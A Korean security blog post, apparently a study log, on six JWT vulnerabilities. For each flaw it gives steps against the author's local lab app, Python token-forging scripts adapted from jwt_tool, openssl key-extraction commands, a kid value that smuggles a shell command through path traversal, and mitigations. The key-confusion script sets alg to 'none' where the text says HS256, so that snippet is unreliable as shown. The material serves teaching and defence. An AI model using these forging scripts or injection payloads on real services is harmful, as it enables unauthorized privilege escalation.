JWT (JSON Web Token) 취약점 알아보기

skitttles·2022년 6월 23일
11

취약점

목록 보기
2/6
post-thumbnail

JSON Web Token을 간단히 알아보고 발생할 수 있는 취약점들을 소개하고자 합니다.
일부 취약점 Exploitation(실습)에서 사용한 환경은 아래와 같으며,
자세한 내용은 JSON Web Token - 취약점 실습 환경 구축에서 확인하실 수 있습니다.

😸 01 JSON Web Token(JWT)이란

JSON Web Token(이하 JWT, 토큰)은 웹표준(RFC 7519)으로써 암호화검증(Signature) 기능을 가진 인증 토큰입니다.

💥 JWT 구조

구조는 아래와 같습니다.

Base64(Header).Base64(Payload).Base64(Signature)

Header에는 사용 된 보안 메커니즘(암호 알고리즘 등)에 대한 정보가,
Data에는 전달할 정보가,
Signature에는 Base64(Header).Base64(Data)를 Header에 명시된 알고리즘으로 암호화된 문자열이 담깁니다.

예를 들어, 다음 토큰 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
에는 다음 정보가 포함되어 있습니다.

  • Header : {"alg": "HS256","typ": "JWT"}
  • Payload : {"sub": "1234567890","name": "John Doe","iat": 1516239022}
  • Signature : HMACSHA256(base64UrlEncode(header)+"."+base64UrlEncode(payload), your-256-bit-secret)

JWT의 무결성을 보장하기 위해 여러 서명 알고리즘(alg)을 사용할 수 있습니다.

  • RSA based
  • Elliptic curves
  • HMAC
  • None

😸 02 JWT 취약점

이 글에서는 아래 6가지 취약점을 다루려고 합니다.

  • Signature 미확인
  • None 알고리즘 사용
  • 비대칭 알고리즘을 대칭 알고리즘으로 변경
  • JKW Injection
  • JKU Spoofing
  • kid injection

💥 02-01 Signature 미확인

JWT 구현 시 Signature 확인 과정이 누락될 경우, Data의 내용을 변조하여 권한 상승 등의 취약점에 노출될 수 있습니다.

🩸 Exploitation

--- Step 01 토큰 확인

토큰을 Base64 디코딩하여 확인합니다.
{"alg":"HS256","typ":"JWT"}.{"name":"John Doe","user_name":"john.doe", "perm":"user"}

--- Step 02 Payload 변조

Paload 부분을 변조합니다. 해당 토큰에서는 "perm":"user""perm":"admin"로 변조합니다.
{"alg":"HS256","typ":"JWT"}.{"name":"John Doe","user_name":"john.doe", "perm":"admin"}

--- Step 03 토큰 사용

변조된 Payload 부분을 Base64 인코딩하여 기존의 토큰에 대치시킵니다. Signature 검증이 미흡할 경우 토큰이 유효하게 됩니다.

🔒 대응 방안

서버 측에서 Signature 검증을 수행합니다.
보통, verify 함수를 이용해 디코딩된 Header.Data 값과 복호화된 Signature를 비교 검증하는 방식으로 수행합니다.

💥 02-02 None 알고리즘 사용

SSL(Null Cipher 포함)과 마찬가지로 JWT는 서명에 대해 None 알고리즘을 지원합니다.
응용 프로그램을 디버깅하기 위해 도입된 것으로 보이나 이는 서명 검증을 우회할 수 있어 응용 프로그램의 보안에 심각한 영향을 줄 수 있습니다.

🩸 Exploitation

None 알고리즘을 지원하는 경우, JWT를 디코딩하여 "alg" 부분을 "None"으로 변조한 후 시그니처 부분을 제거하면 Payload 부분을 변조하여도 인증이 되는 것을 확인 할 수 있습니다.

--- Step 01 토큰 획득

PostMan에서 'none-obtail-token' 요청을 수행하여 토큰을 획득합니다.

--- Step 02 토큰 디코딩

jwt.io에서 획득한 토큰을 디코딩합니다.

--- Step 03 Header(alg), Payload(role) 변조

아래 Python 코드에서
headDict 변수에 Header의 "alg"를 "none"으로 변조하여 대입하고
paylDict 변수에 Payload의 "role"을 "Admin"으로 변조하여 대입한 후
각 Header와 Payload를 Base64 인코딩하여 Base64(Header).Base64(Payload). 만을 사용합니다.

해당 코드는 JWT_Tool에서 필요한 부분을 가져와 수정하였습니다.

--- Step 03 변조된 토큰 사용

PostMan의 'kc-send-token' 항목에서 Signature 부분 제거된 토큰을 패킷에 삽입한 후 전송하면 "role"이 "Admin"으로 변조된 토큰이 유효하게 처리된 것을 확인할 수 있습니다.

🔒 대응 방안

서버 측에서 JWT의 None 알고리즘을 사용하지 않도록 합니다.
유효한 알고리즘만을 허용하는 것을 권장합니다.

Exploitation에서 사용한 "app.js" Node.js 어플리케이션의 경우, 아래와 같이 none 알고리즘의 허용 부분을 제거하여 조치합니다.

조치 결과, 공격 시도 시 아래와 같은 응답을 받습니다.

{
    "name": "JsonWebTokenError",
    "message": "invalid algorithm"
}

💥 02-03 비대칭 알고리즘을 대칭 알고리즘으로 변경

서버 측에서 사용 알고리즘에 대해 검증하지 않을 경우, 비대칭(RS256) 암호화 알고리즘을 대칭(HS256) 암호화 알고리즘으로 변경한 후 공개키를 대칭키(비밀키, 사전에 공유된 키)로 사용할 수 있으며, 이를 이용해 Payload를 변조하고 Signature(서명) 검증을 통과할 수 있습니다.

상세 원리는 아래와 같습니다.

JWT는 대칭(HS256) 및 비대칭(RS256) 암호화 알고리즘을 모두 사용할 수 있으며 암호화 유형에 따라 비밀키 또는 공개키-개인키 쌍을 사용합니다.

알고리즘서명-키검증-키
비대칭(RS256)개인키공개키
대칭(HS256)비밀키비밀키

또한, 각 알고리즘은 다음과 같은 라이브러리 함수를 이용하여 검증됩니다.

  • 토큰이 HS256(HMAC)로 서명된 경우 : verify(token, secret)
  • 토큰이 RS256(RSA) 또는 이와 유사한 방식으로 서명된 경우 : verify(token, publicKey)

그러므로, 알고리즘을 RS256에서 HS256으로 변경하면 publicKeysecret으로 사용됩니다.
publickey는 별도로 획득해야하며 방법은 아래와 같습니다.

❗ Publickey 획득 방법

[ CASE 1 ] TLS/SSL HTTPS 접속에 사용된 공개키 재사용
홈페이지 HTTPS 통신 시 사용한 개인키를 토큰 서명에 사용하는 경우가 존재하므로, HTTPS 접속 시 사용하는 공개키를 획득, 취약점 악용에 이용합니다.
리눅스에서는 아래 명령어를 이용해 공개키를 획득할 수 있습니다.

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem 
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

[ CASE 2 ] API 공개키 경로 노출
"/API/v1/keys"와 같이 API에서 공개키를 사용하기 위해 접근하는 경로에 직접 접속하여 공개키를 얻습니다. 경로는 API Document 또는 웹 프록시 도구의 히스토리 상에서 확인할 수 있습니다.
[ CASE 3 ]. JWK 공통 경로
아래 경로의 JWK(JSON Web Key)에서 일부 클레임에 공개키가 존재할 수 있습니다.

/.well-known/jwks.json
/openid/connect/jwks.json
/jwks.json
/api/keys
/api/v1/keys

[ CASE 4 ]. jku 또는 x5u 클레임의 URL
공개키가 포함된 URL을 가리키는 클레임을 확인하여 해당 URL에서 공개키를 획득할 수 있습니다.

jku - JWKS URL을 가리키는 클레임
x5u - X509 인증서 위치를 가리키는 클레임 (JWKS 파일에 있을 수 있음)

[ CASE 5 ]. iss 클레임 내의 공개키 경로 단서
JWT의 iss 클레임에서 JWT를 생성한 외부 발급자 서비스 또는

API의 이름, 공개키의 URL 등 단서를 얻을 수 있습니다.

🩸 Exploitation

Header의 알고리즘(alg)를 RS256에서 HS256으로 변경한 후, 서버 HTTPS 인증서 공개키를 재활용하여 서명 시 토큰이 유효한 것을 확인할 수 있습니다. 공격자는 해당 토큰의 Payload를 임의로 변조하고 서명할 수 있게됩니다.

--- Step 01 토큰 획득

PostMan에서 'kc-obtain-token' 요청을 전송하여 토큰을 획득합니다.

--- Step 02 토큰 디코딩

획득한 토큰을 디코딩합니다.

--- Step 03 공개키 획득

JWT Header의 알고리즘을 HS256으로 변조한 후 서명에 사용할 공개키(Secret)을 찾습니다.
해당 서버 어플리케이션에서는 HTTPS 인증 시 사용하는 개인키, 공개키를 토큰 서명/검증에도 재사용하므로 HTTPS 인증서를 이용하여 공개키를 생성합니다.

아래 명령어를 이용해 인증서를 획득하여 'certificatechain.pem' 이름으로 저장합니다. 이때, 마지막 라인에 줄바꿈을 삽입하여 저장합니다.

openssl s_client -connect {your hostname}:443

아래 명령어로 인증서를 이용해 공개키를 생성합니다. 이것 또한, 마지막 라인에 줄바꿈을 삽입하여 'pubkey.pem' 파일명으로 저장합니다.

openssl x509 -pubkey -in certificatechain.pem -noout

--- Step 04 Header(alg), Payload(role) 변조

아래 Python 코드를 이용해 변조된 토큰을 생성합니다.
headDict 변수에 Header의 "alg"를 "HS256"으로 변조하여 대입하고
paylDict 변수에 Payload의 "role"을 "Admin"으로 변조하여 대입한 후
'Step 3'에서 저장한 공개키('pubkey.pem')를 이용해 서명하여 토큰을 생성합니다.

해당 코드는 JWT_Tool에서 필요한 부분을 가져와 수정하였습니다.

import json
import base64
import hashlib
import hmac

#공개키 경로 
key = open("C:\\Users\\my_pc\\pubkey.pem").read()

#아래 headDict, paylDict 변조
headDict = {"alg": "none","typ": "JWT"}
paylDict = {"account": "Bob","role": "Admin","iat": 1658058021,"aud": "https://127.0.0.1/jwt/key-confusion"}

newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
newContents = newContents.encode().decode('UTF-8')

newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")

print(newContents+"."+newSig)

--- Step 05 변조한 토큰 사용

'kc-send-token' 요청에 'Step 4'의 변조 토큰을 패킷에 포함하여 전송하면 유효하게 처리되는 것을 확인할 수 있습니다.

🔒 대응 방안

verify()이 취약점을 피하기 위해 애플리케이션은 토큰을 메서드에 전달하기 전에 수신된 토큰의 알고리즘이 유효한 알고리즘인지 확인해야 합니다.

'app.js'에서는 아래와 같이 verify 시 HS256 알고리즘이 사용되지 않도록 조치합니다.

조치 결과, 변조된 토큰 전송 시 아래와 같이 에러를 응답받습니다.

{
    "name": "JsonWebTokenError",
    "message": "invalid algorithm"
}

💥 02-04 JKW Injection

RSA와 같은 비대칭 알고리즘 사용 시 복호화에 사용하는 공개키를 JWK (JSON Web Key) 형태로 Header에 포함시킬 수 있습니다. JWK가 포함된 토큰과 JWK는 아래와 같이 구성됩니다.

"header": {
        "alg": "RS256",
        "typ": "JWT",
        "jwk": {
            "kty": "RSA",
            "kid": "key-0",
            "use": "sig",
            "e": "AQAB",
            "n": "2_AgfALcXXh5eYJRPOS4..."
        }
},
"payload": {
        "account": "Bob",
        "role": "User",
        "iat": 1659513521,
        "aud": "https://127.0.0.1/jwt/key-injection"
},
"signature": {"..."}
"jwk": {
     alg: 알고리즘 (RS256 등),  
     kid: Key ID,
     kty: Key의 타입 (RSA 또는 EC(Elliptic Curve)),
     e: RSA public exponent,
     n: RSA modulus,
     use: 퍼블릭 키가 어떤 용도로 사용되는지 명시 ("sig"(signature) or "enc"(encryption))
}

그러나 서버에서 JWT 검증 시 Header에 포함된 공개키를 직접적으로 참조하여 검증에 사용할 경우, 악의적인 사용자에 의해 토큰이 변조될 수 있습니다.
토큰의 데이터를 변조한 후 임의의 개인키로 서명, 해당 개인키로 공개키를 생성하여 JWK 형태로 토큰의 Header에 포함시켜 서버로 전송하면 토큰 검증을 통과할 수 있게됩니다.

🩸 Exploitation

--- Step 01 토큰 생성 후 내용 확인

POSTMan의 'ki-obtain-token', 'ki-send-token'에서 토큰 생성 후 검증하여 내용을 확인합니다.

--- Step 02 개인키 생성

OpenSSL을 이용하여 임의의 개인키를 생성합니다.

openssl genrsa -out private_key.pem 2048

--- Step 03 토큰 변조

아래 파이썬 코드를 이용하여 변조된 토큰을 Step 02에서 생성한 개인키로 서명합니다.
코드의 설명은 주석을 참고바랍니다.

해당 코드는 JWT_Tool에서 필요한 부분을 가져와 수정하였습니다.

import base64
import json
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.Hash import SHA256
from Cryptodome.PublicKey import RSA
from termcolor import cprint

# 아래 명령어로 생성한 개인키 가져옴
# openssl genrsa -out private_key.pem 2048
myKey = open("C:\\Users\\pc_name\\private_key.pem").read()


# 사용자가 제공한 개인키를 이용해 JWK를 생성한 후 토큰을 사인
def jwksEmbed(newheadDict, newpaylDict):
    newHead = newheadDict
    pubKey, privKey = getRSAKeyPair()
    new_key = RSA.importKey(pubKey)
    n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
    e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
    newjwks = buildJWKS(n, e, "skitttles")
    newHead["jwk"] = newjwks
    newHead["alg"] = "RS256"
    key = privKey    
    newContents = genContents(newHead, newpaylDict)
    newContents = newContents.encode('UTF-8')
    h = SHA256.new(newContents)
    signer = PKCS1_v1_5.new(key)
    try:
        signature = signer.sign(h)
    except:
        cprint("Invalid Private Key", "red")
        exit(1)
    newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")
    return newSig, newContents.decode('UTF-8')


# 사용자가 입력한 개인키를 이용해 공개키 생성
def getRSAKeyPair():
    privKey = RSA.importKey(myKey)
    pubKey = privKey.publickey().exportKey("PEM")

    return pubKey, privKey


# 빈 JWK 생성
def buildJWKS(n, e, kid):                                       
    newjwks = {}
    newjwks["kty"] = "RSA"
    newjwks["kid"] = kid
    newjwks["use"] = "sig"
    newjwks["e"] = str(e.decode('UTF-8'))
    newjwks["n"] = str(n.decode('UTF-8').rstrip("="))
    return newjwks


# 'Header.Payload'를 Base64 인코딩
def genContents(headDict, paylDict, newContents=""):
    if paylDict == {}:
        newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."
    else:
        newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
    return newContents.encode().decode('UTF-8')


if __name__ == '__main__':
	# 토큰을 변조하여 아래 headDict, PaylDict에 대입
    headDict = {"alg": "RS256","typ": "JWT"}
    paylDict = {"account": "Bob","role": "Admin","iat": 1659430187,"aud": "https://127.0.0.1/jwt/key-injection"}

    # 변조된 JWT를 JWK로 사인하여 출력
    newSig, newContents = jwksEmbed(headDict, paylDict)

    print(newContents+"."+newSig)

--- Step 04 변조된 토큰 전송

Step 03에서 생성된 토큰을 서버에 보내면 성공적으로 검증되며 페이로드가 변조된 것을 확인할 수 있습니다.

🔒 대응 방안

검증 시 사용하는 공개키는 토큰의 헤더에서 가져오는 것이 아니라, 서버에서 명시적으로 정한 값을 이용해야 합니다.

app.js 에서는 다음과 같이 조치합니다.

💥 02-05 JKU Spoofing

jku 라는 클레임을 이용하여 JWK가 포함된 URL을 참조할 수 있습니다. 서명을 확인할 때 서버는 이 URL에서 JWK를 가져와서 사용합니다. jku가 포함된 토큰은 아래와 같습니다.

"header": {
        "alg": "RS256",
        "typ": "JWT",
        "jku": "https://127.0.0.1/webkeys/jwks.json"
},
"payload": {
        "account": "Bob",
        "role": "User",
        "iat": 1659514192,
        "aud": "https://127.0.0.1/jwt/jku"
},
"signature": "..."

서버에서 토큰 검증 시 jku 클레임의 URL이 유효하고 검증된 것인지 확인하지 않고 사용할 경우,
악의적인 사용자가 jku 값을 자신의 JWK URL로 바꾼 후 해당 URL에 포함된 키로 서명하여 토큰 검증을 통과할 수 있습니다.

🩸 Exploitation

--- Step 01 토큰 생성 후 내용 확인

POSTMan의 'jku-obtain-token', 'jku-send-token'에서 토큰 생성 후 검증하여 내용을 확인합니다.

--- Step 02 개인키 생성

OpenSSL을 이용하여 임의의 개인키를 생성합니다.

openssl genrsa -out private_key.pem 2048

--- Step 03 토큰 변조

아래 파이썬 코드를 이용하여 변조된 토큰을 Step 02에서 생성한 개인키로 서명합니다.
코드의 설명은 주석을 참고바랍니다.

해당 코드는 JWT_Tool에서 필요한 부분을 가져와 수정하였습니다.

import base64
import json
from datetime import datetime
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.Hash import SHA256
from Cryptodome.PublicKey import RSA
from termcolor import cprint


myPrivKeyPath = "C:\\Users\\pc_name\\private_key.pem"


# 입력받은 Header와 Payload를 Base64 인코딩하여 출력
def genContents(headDict, paylDict, newContents=""):
    if paylDict == {}:
        newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."
    else:
        newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
    return newContents.encode().decode('UTF-8')


# n, e, kid를 입력받아 JWK를 생성
def buildJWKS(n, e, kid):                                       
    newjwks = {}
    newjwks["kty"] = "RSA"
    newjwks["kid"] = kid
    newjwks["use"] = "sig"
    newjwks["e"] = str(e.decode('UTF-8'))
    newjwks["n"] = str(n.decode('UTF-8').rstrip("="))
    return newjwks


# 공격자의 jku 경로에 포함시킬 JWK 생성
def jwksGen(headDict, paylDict, jku, privKey, kid="skitttles"):
    newHead = headDict
    nowtime = str(int(datetime.now().timestamp()))
    
    # 개인키 가져옴
    key = RSA.importKey(open(myPrivKeyPath).read())
    pubKey = key.publickey().exportKey("PEM")
    privKey = key.export_key(format="PEM")
    new_key = RSA.importKey(pubKey)

    # 공개키로 n, e 값 생성
    n = base64.urlsafe_b64encode(new_key.n.to_bytes(256, byteorder='big'))
    e = base64.urlsafe_b64encode(new_key.e.to_bytes(3, byteorder='big'))
    privKeyName = myPrivKeyPath
    newjwks = buildJWKS(n, e, kid)
    newHead["jku"] = jku
    newHead["alg"] = "RS256"
    key = RSA.importKey(privKey)
    newContents = genContents(newHead, paylDict)
    newContents = newContents.encode('UTF-8')

    # 토큰 서명
    h = SHA256.new(newContents)
    signer = PKCS1_v1_5.new(key)
    try:
        signature = signer.sign(h)
    except:
        cprint("Invalid Private Key", "red")
        exit(1)
    
    # 서명 값 Base64 인코딩
    newSig = base64.urlsafe_b64encode(signature).decode('UTF-8').strip("=")

    # 생성된 JWK 포맷에 맞추어 줌
    jwksout = json.dumps(newjwks,separators=(",",":"), indent=4)
    jwksbuild = {"keys": []}
    jwksbuild["keys"].append(newjwks)
    fulljwks = json.dumps(jwksbuild,separators=(",",":"), indent=4)

    # jwks_jwttool_RSA_{현재시간}.json 파일에 JWK 값 출력
    jwksName = "jwks_jwttool_RSA_"+nowtime+".json"
    with open(jwksName, 'w') as test_jwks_out:
            test_jwks_out.write(jwksout)
        
    return newSig, newContents.decode('UTF-8'), jwksout, privKeyName, jwksName, fulljwks


if __name__ == '__main__':
    # 토큰을 변조하여 아래 딕셔너리에 대입
    headDict = {"alg": "RS256","typ": "JWT"}
    paylDict = {"account": "Bob","role": "Admin","iat": 1659430187,"aud": "https://127.0.0.1/jwt/jku"}

    # 공격자의 jwks URL을 jku 변수에 대입
    jku = "http://{my-url}/jwks.json"
    kid = "skitttles"

    newSig, newContents, newjwks, privKeyName, jwksName, fulljwks = jwksGen(headDict, paylDict, jku, myPrivKeyPath, kid)

    print(newContents+"."+newSig)

--- Step 04 생성된 JWK 업로드하여 URL 생성

Step 03에서 토큰 생성 시 파이썬 코드가 있는 경로에 "jwksjwttool_RSA{time}.json" 포맷으로 파일이 생성됩니다.
해당 파일 내에 JWK가 존재하며, 이 JWK를 Step 03에서 jku로 입력하였던 URL에 업로드합니다.
실제 환경에서는 "JWK 생성 -> 업로드 -> 업로드 URL를 jku에 적용하여 토큰 생성" 순서로 수행될겁니다.

--- Step 05 변조된 토큰 전송

Step 03 코드 실행 시 토큰이 생성되며 해당 토큰을 서버에 보내면 성공적으로 검증되며 페이로드가 변조된 것을 확인할 수 있습니다. (role을 Admin으로 변조)

🔒 대응 방안

검증 시 사용하는 jku는 화이트 리스트 기반의 검증된 URL이어야 합니다. URL로 요청하기전 jku의 값이 사전에 정한 URL인지 확인하는 로직이 필요합니다.

app.js 에서는 다음과 같이 조치합니다.

"https://server.com/webkey/jwks.json" 과 같이 고정된 URL이나 jku 클레임에 입력된 값을 검증하여 필터링합니다.

💥 02-06 kid injection

토큰 검증 시 사용하는 키를 찾기위해 Header의 kid 값을 이용할 수 있습니다. DB, 파일 시스템 상에서 kid 값을 기반으로 검색하여 찾은 파일/값을 토큰 검증 키로 사용하게 됩니다.
kid 값이 포함된 토큰은 아래와 같습니다.

"header": {
        "alg": "HS256",
        "typ": "JWT",
        "kid": "keyfile.txt"
},
"payload": {
        "account": "Bob",
        "role": "User",
        "iat": 1659522727,
        "aud": "https://127.0.0.1/jwt/kid00"
},
"signature": "..."

Header의 kid 값은 사용자가 임의로 변조할 수 있으므로 검증되지 않은 값은 들어가지 않도록 필터링해야 합니다.
필터링하지 않을 경우, 서버 어플리케이션의 로직에 따라, SQL injection, Path Traversal, OS Command injection 등 다양한 공격을 이용하여 토큰 검증을 통과하거나 다른 피해를 끼칠 수 있습니다.

🩸 Exploitation

kid 값으로 파일명을 받는 경우, 해당 파일을 읽어들이는 로직이 어플리케이션에 존재할 것이므로, "../../../" 등을 이용하여 다른 경로의 읽을 수 있는 파일로 변경하거나
OS Command injection을 시도하여 키 값을 공격자의 의도대로 변경 해볼 수 있습니다.
단, OS Command injection 공격은 서버 어플리케이션이 파일을 읽을 때 'exec' 등 명령어 실행 로직을 사용해야 유효합니다.

해당 글에서는 OS Command injection을 이용하여 토큰의 키를 공격자 의도대로 바꿔보도록 하겠습니다.

--- Step 01 토큰 생성 후 내용 확인

POSTMan의 'kid00-obtain-token', 'kid00-send-token'에서 토큰 생성 후 검증하여 내용을 확인합니다.

--- Step 02 키 값으로 사용할 파일 내용 작성

"test.txt" 파일을 생성하여 내용에 "111" 입력 후 줄바꿈을 삽입합니다.
다음 단계에서 Injection 할 Command가 echo 인데, echo는 문자열 출력 후 줄바꿈까지 출력하기 때문입니다.

--- Step 03 토큰 변조

아래 파이썬 코드를 이용하여 kid 클레임에 "../../../../../../../../../../../../dev/null;echo 111" 값을 넣은 후 토큰을 생성합니다.
"/dev/null" 파일을 읽어 아무 값도 출력되지 않도록 한 후, "echo 111" 명령어를 실행하여 "111{줄바꿈}" 값이 키 값으로 들어가도록 유도하였습니다.

해당 코드는 JWT_Tool에서 필요한 부분을 가져와 수정하였습니다.

import base64
import json
from termcolor import cprint
import hashlib
import hmac

# Header, Payload 딕셔너리를 Base64 인코딩하여 출력
def genContents(headDict, paylDict, newContents=""):
    if paylDict == {}:
        newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."
    else:
        newContents = base64.urlsafe_b64encode(json.dumps(headDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")+"."+base64.urlsafe_b64encode(json.dumps(paylDict,separators=(",",":")).encode()).decode('UTF-8').strip("=")
    return newContents.encode().decode('UTF-8')


if __name__ == '__main__':
    # 토큰을 변조하여 headDict, paylDict에 입력
    # kid 값에 OS Command injection을 시도하여 출력이 "111{줄바꿈}"이 되도록 하였음
    headDict = {"alg": "HS256","typ": "JWT","kid": "../../../../../../../../../../../../dev/null;echo 111"}
    paylDict = {"account": "Bob","role": "Admin","iat": 1659520555,"aud": "https://127.0.0.1/jwt/kid00"}

    # 사용할 키 값 읽어옴
    key = open("test.txt").read()

    newContents = genContents(headDict, paylDict)
    newSig = base64.urlsafe_b64encode(hmac.new(key.encode(),newContents.encode(),hashlib.sha256).digest()).decode('UTF-8').strip("=")

    print(newContents+"."+newSig)

--- Step 04 변조된 토큰 사용

kid 값을 변조한 토큰 전송 시 검증에 통과하는 것을 볼 수 있습니다. (role을 Admin으로 변경)

🔒 대응 방안

  1. kid 값을 이용할 때 "exec"와 같이 명령어를 실행하는 함수 사용을 자제해야 합니다. 파일 입출력 함수, DB 연결 함수 등 고유 함수를 이용하는 것이 좋습니다.
  2. kid로 입력되는 값을 신뢰하지 않습니다. 유효하고 의도된 값만 입력되도록 검증하여 SQL injection, OS Command injection, Path traversal 등 공격을 방지합니다.

app.js 에서는 다음과 같이 조치합니다.

📝 03 Epilogue

-- 2022.08.03 --
장기간에 걸쳐 JWT의 취약점에 대해 분석하고 나름대로 취약한 환경을 만들어 실습까지 해보았습니다. 직접 해보는 것만큼 기억에 오래 남는 것은 없다고 생각하여 해왔던 것인데 완성하고 보니 뿌듯하네요.

✔ 추가할 취약점이 있거나 잘못된 부분이 있다면 지적 부탁드립니다!

📖 04 References

[1] https://github.com/ticarpi/jwt_tool
[2] https://github.com/onsecru/jwt-hacking-challenges
[3] https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
[4] https://github.com/onsecru/jwt-hacking-challenges
[5] https://hackyboiz.github.io/2021/11/20/in0hack/2021-11-20/

profile
Security log

1개의 댓글

comment-user-thumbnail
2023년 11월 23일

많은 도움이 되었습니다!

답글 달기